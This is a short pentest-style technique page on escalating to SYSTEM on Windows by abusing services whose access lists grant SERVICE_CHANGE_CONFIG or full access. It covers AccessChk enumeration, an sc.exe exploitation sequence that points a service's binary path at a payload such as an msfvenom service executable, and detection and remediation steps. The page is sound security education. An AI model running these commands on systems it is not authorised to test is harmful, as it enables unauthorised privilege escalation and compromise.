Exploit SERVICE_ALL_ACCESS
Windows services are securable objects protected by Discretionary Access Control Lists (DACLs). If a service’s DACL grants a low-privileged principal SERVICE_ALL_ACCESS — or the weaker but sufficient SERVICE_CHANGE_CONFIG — that principal can reconfigure the service to execute arbitrary code with the service account’s privileges, typically LocalSystem. This maps to MITRE ATT&CK T1574.011 (Services Registry Permissions Weakness) and T1543.003 (Windows Service).
Relevant access rights
Per Microsoft’s service security documentation, the key rights for this attack are:
| Right | Effect |
|---|---|
SERVICE_ALL_ACCESS (0xF01FF) | Full control — includes everything below |
SERVICE_CHANGE_CONFIG (0x0002) | Change the binary path, start type, and run-as account |
SERVICE_START / SERVICE_STOP | Restart the service so the new config takes effect |
WRITE_DAC | Rewrite the DACL itself — grant yourself any right |
WRITE_OWNER | Take ownership of the service object |
Microsoft’s guidance is explicit: because SERVICE_CHANGE_CONFIG grants the right to change the executable the system runs, it should be granted only to administrators. Granting it (or SERVICE_ALL_ACCESS) to untrusted users “can allow them to run applications under the LocalSystem account.”
Enumeration with AccessChk
Use Sysinternals AccessChk to audit service DACLs:
# Detailed ACL dump for one service
accesschk64.exe -qlc $SERVICE_NAME
# Find all services writable by broad groups
accesschk64.exe -uwcqv "Authenticated Users" * -accepteula
accesschk64.exe -uwcqv "Users" * -accepteula
accesschk64.exe -uwcqv "Everyone" * -accepteulaFlags: -c targets services, -w shows write access, -q quiet, -l full security descriptor, -u suppress errors.
Without AccessChk, sc.exe sdshow $SERVICE_NAME dumps the SDDL string — look for ACEs granting WP (SERVICE_CHANGE_CONFIG) or full access to SIDs you control.
Exploitation
With SERVICE_CHANGE_CONFIG or better on a service running as SYSTEM:
# Confirm the run-as account and current config
sc.exe qc $SERVICE_NAME
# Make the payload executable by the service account
icacls $PATH_TO_PAYLOAD /grant Everyone:F
# Point the service at the payload (spaces after = are required)
sc.exe config $SERVICE_NAME binPath= "$PATH_TO_PAYLOAD" obj= "LocalSystem"
# Restart so the new config takes effect
sc.exe stop $SERVICE_NAME
sc.exe start $SERVICE_NAMEThe payload should be service-aware (e.g., msfvenom with -f exe-service) so it survives the Service Control Manager’s startup handshake. With only WRITE_DAC, first grant yourself SERVICE_CHANGE_CONFIG via sc.exe sdset or SetServiceObjectSecurity, then proceed as above.
Detection and remediation
- Audit service DACLs with the same AccessChk queries; any broad group holding
SERVICE_CHANGE_CONFIG,WRITE_DAC,WRITE_OWNER, orSERVICE_ALL_ACCESSon a SYSTEM service is a critical finding - Reset weak descriptors with
sc.exe sdset - Alert on
ImagePathregistry changes and onsc.exe configinvocations from non-admin contexts - Correlate service restarts with preceding configuration changes